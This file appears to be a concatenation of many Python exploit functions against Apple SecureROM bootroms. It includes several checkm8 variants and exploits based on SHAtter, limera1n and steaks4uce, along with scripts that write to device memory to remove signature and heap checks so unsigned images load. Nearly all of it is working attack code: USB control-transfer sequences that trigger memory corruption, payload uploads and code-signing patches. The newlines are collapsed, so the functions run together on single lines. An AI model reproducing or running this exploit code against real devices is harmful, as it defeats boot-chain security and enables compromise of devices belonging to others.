def exploit(): print '*** checkm8 exploit by axi0mX ***' print '*** modified version by Linus Henze ***' print '*** s5l8965x support by Matthew Pierson ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) # Advance buffer offset before triggering the UaF to prevent trashing the heap libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * config.overwrite_offset, 10) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def main(): print "*** SecureROM Signature check remover by Linus Henze ***" device = dfu.acquire_device() print "Found:", device.serial_number if not "PWND:[" in device.serial_number: print "Please enable pwned DFU Mode first." sys.exit(1) if not "PWND:[checkm8]" in device.serial_number: print "Only devices pwned using checkm8 are supported." sys.exit(1) config = exploit_config(device.serial_number) print "Applying patches..." try: pdev = usbexec.PwnedUSBDevice() except usb.core.USBError: print "Patches have already been applied. Exiting." sys.exit(0) for k in config.patches.keys(): pdev.write_memory(k, config.patches[k]) print "Successfully applied patches" print "Resetting device state" print "* This will effectiveley disable pwned DFU Mode" print "* Only the signature patches will remain" # Send abort device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0) # Perform USB reset dfu.usb_reset(device) dfu.release_device(device) print "Device is now ready to accept unsigned images"
def exploit(): print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return if 'CPID:8930' not in device.serial_number: print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.' sys.exit(1) if 'SRTG:[iBoot-574.4]' not in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) dfu.reset_counters(device) dfu.get_data(device, 0x40) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() dfu.reset_counters(device) dfu.get_data(device, 0x140) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.send_data(device, generate_payload()) dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[SHAtter]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.'
def exploit(): print '*** based on limera1n exploit (heap overflow) by geohot ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: for config in configs: if 'CPID:%s' % config.cpid in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.' sys.exit(1) dfu.send_data( device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr)) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1 limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10) try: device.ctrl_transfer(0x21, 2, 0, 0, 0, 10) print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.' sys.exit(1) except usb.core.USBError: # OK: This request should have raised USBError. pass dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[limera1n]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.'
def exploit(): print '*** checkm8 exploit by axi0mX ***' print '*** s5l8747x (haywire) support by a1exdandy ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) usb_req_leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.8) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def exploit(): print("*** checkm8 exploit by axi0mX ***") device = dfu.acquire_device() start = time.time() print("Found:"), device.serial_number if 'PWND:[' in device.serial_number: print("Device is already in pwned DFU Mode. Not executing exploit.") return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print("ERROR: Exploit failed. Device did not enter pwned DFU Mode.") sys.exit(1) print("Device is now in pwned DFU Mode.") print("(%0.2f seconds)" % (time.time() - start)) dfu.release_device(device)
def exploit(): print('*** based on steaks4uce exploit (heap overflow) by pod2g ***') device = dfu.acquire_device() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return if 'CPID:8720' not in device.serial_number: print( 'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.' ) sys.exit(1) chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: print( 'ERROR: CPID is compatible, but serial number string does not match.' ) print( 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' ) sys.exit(1) dfu.reset_counters(device) dfu.send_data(device, generate_shellcode(chosenConfig.constants)) dfu.send_data(device, payload) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload), 1000)) == len(payload) dfu.release_device(device) time.sleep(0.01) device = dfu.acquire_device() dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() failed = 'PWND:[steaks4uce]' not in device.serial_number dfu.release_device(device) if failed: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.')
def exploit_a8_a9(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return padding = 0x400 + 0x80 + 0x80 overwrite = struct.pack('<32xQQ', 0x180380000, 0) if 'CPID:8000' in device.serial_number or\ 'CPID:8003' in device.serial_number: payload_a8_a9 = payload(0x8003) elif 'CPID:7000' in device.serial_number: payload_a8_a9 = payload(0x7000) stall(device) leak(device) for i in range(40): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) usb_req_leak(device) usb_req_leak(device) usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, overwrite, 100) for i in range(0, len(payload_a8_a9), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload_a8_a9[i:i + 0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
DFU_ABORT = 4 HOST2DEVICE = 0x21 SIG_CHECKS_1 = 0x1000078B4 SIG_CHECKS_2 = 0x1000078C0 SIG_CHECKS_3 = 0x1000078E4 SIG_CHECKS_4 = 0x100007BAC SIG_CHECKS_5 = 0x1800888C4 pwnd_device = usbexec.PwnedUSBDevice() device = dfu.acquire_device() # Remove sigchecks pwnd_device.write_memory(SIG_CHECKS_1, "\x1F\x20\x03\xD5") pwnd_device.write_memory(SIG_CHECKS_2, "\x1F\x20\x03\xD5") pwnd_device.write_memory(SIG_CHECKS_3, "\x1F\x20\x03\xD5") pwnd_device.write_memory(SIG_CHECKS_4, "\x1F\x20\x03\xD5") pwnd_device.write_memory(SIG_CHECKS_5, "\x00\x00\x00\x00") # Reset USB connection device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0) dfu.usb_reset(device) dfu.release_device(device) # All done print 'Removed SecureROM Signature Checks.'
def main(): print "*** SecureROM t8015 sigcheckpath by tihmstar ***" device = dfu.acquire_device() print "Found:", device.serial_number if not "PWND:[" in device.serial_number: print "Please enable pwned DFU Mode first." sys.exit(1) if not "PWND:[checkm8]" in device.serial_number: print "Only devices pwned using checkm8 are supported." sys.exit(1) dfu.release_device(device) device = usbexec.PwnedUSBDevice() #make Level3 Table l3table = "" for addr in range(0x0000000100000000, 0x0000000100100000, PAGE_SIZE): entry = struct.pack("<Q", makePTE_Page_16K(addr)) if addr == REMAP_PAGE: #we are remapping heapcheck page entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE)) elif addr == REMAP_PAGE2: #we are remapping sigcheck page entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE2)) l3table += entry #we write L3 Table here device.write_memory(SRAM_PAGETABLE_PAGE, l3table) #remap heapcheck page to sram device.memcpy(SRAM_REMAP_PAGE, REMAP_PAGE, PAGE_SIZE) #remap sigcheck page to sram device.memcpy(SRAM_REMAP_PAGE2, REMAP_PAGE2, PAGE_SIZE) # patch heap corruption check device.write_memory(0x000000010000db98 - REMAP_PAGE + SRAM_REMAP_PAGE, "\xC0\x03\x5F\xD6") #patch codesigs device.write_memory(0x000000010000624c - REMAP_PAGE2 + SRAM_REMAP_PAGE2, "\x00\x00\x80\xD2") #L2 Table point to L3 device.write_memory( 0x000000018000c400, struct.pack("<Q", makePTE_Table_16K(SRAM_PAGETABLE_PAGE))) #memory barrier device.execute(0, 0x1000004F0) #flush tlb device.execute(0, 0x1000004AC) print("done remapping and patching page") device = dfu.acquire_device() device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0) # Perform USB reset try: dfu.usb_reset(device) dfu.release_device(device) except: pass print "Device is now ready to accept unsigned images"
def exploit(): print('*** checkm8 exploit by axi0mX ***') print("****** stage 1, heap grooming") device = dfu.acquire_device() start = time.time() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: print("no large leak, hole:%d" % config.hole) stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) print("****** stage 2, usb setup, send 0x800 of 'A', sends no data") device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) #exit(0) time.sleep(0.5) print("****** stage 3, exploit") device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: print("doing leak %d" % config.leak) for i in range(config.leak): usb_req_leak(device) # https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4 # this is the real smash, what's in overwrite # t8010_nop_gadget = 0x10000CC6C """ ROM:000000010000CC6C LDP X29, X30, [SP,#0x10] ; this is the nop gadget? ROM:000000010000CC70 LDP X20, X19, [SP],#0x20 ROM:000000010000CC74 RET """ # t8010_overwrite = b'\0' * 0x580 + struct.pack('<32x2Q', t8010_nop_gadget, 0x1800B0800) # SP = 0x1800B0800? # This overwrites the task struct libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) #return struct.pack('<1024sQ504x2Q496s32x', # 0x400 = t8010_shellcode, # 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + # usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks) # upload the payload, or actually, this is after the pwning happens and this is exec # this is usb_0xA1_2_arm64 and checkm8_arm64 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) # this is trigger? dfu.usb_reset(device) dfu.release_device(device) print("****** final check") device = dfu.acquire_device() print("final serial", device.serial_number) if 'PWND:[checkm8]' not in device.serial_number: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') #sys.exit(1) else: print('Device is now in pwned DFU Mode.') print('(%0.2f seconds)' % (time.time() - start)) dfu.release_device(device)
def exploit(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device() start = time.time() print 'Found:', device.serial_number payload, config = exploit_config(device.serial_number) # payload, config = exploit_config("CPID:8015 CPRV:11 CPFM:03 SCEP:01 BDID:0A ECID:<> IBFL:3C SRTG:[iBoot-3332.0.0.1.23]") # t8015 hexdump(0x18001c000, payload) # return if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return # payload, config = exploit_config(device.serial_number) if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) usb_req_leak(device) no_leak(device) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 100) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device)
def exploit(): print('*** checkm8 exploit by axi0mX ***') print('**** STAGE 1 ****') print('Checking for device in DFU mode') device = dfu.acquire_device() start = time.time() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print("Device already PWNed. Exiting.") return print('**** STAGE 2 ****') print("Checking if device is exploitable") payload, config = exploit_config(device.serial_number) print("CPID: %s is exploitable" % hex(config.cpid)) print("Bootloader: [%s]" % config.version) print('**** STAGE 3 ****') print("Leaking...") if config.large_leak is not None: usb_req_stall(device) for i in range(config.large_leak): usb_req_leak(device) usb_req_no_leak(device) else: stall(device) for i in range(config.hole): no_leak(device) leak(device) no_leak(device) print('Resetting USB and releasing device') # reset & release device dfu.usb_reset(device) dfu.release_device(device) print('**** STAGE 4 ****') device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) print('**** STAGE 5 ****') device = dfu.acquire_device() usb_req_stall(device) if config.large_leak is not None: usb_req_leak(device) else: for i in range(config.leak): usb_req_leak(device) libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i + 0x800], 50) dfu.usb_reset(device) dfu.release_device(device) print("**** STAGE 6 ****") # check if device pwned device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.') print('(%0.2f seconds)' % (time.time() - start)) dfu.release_device(device)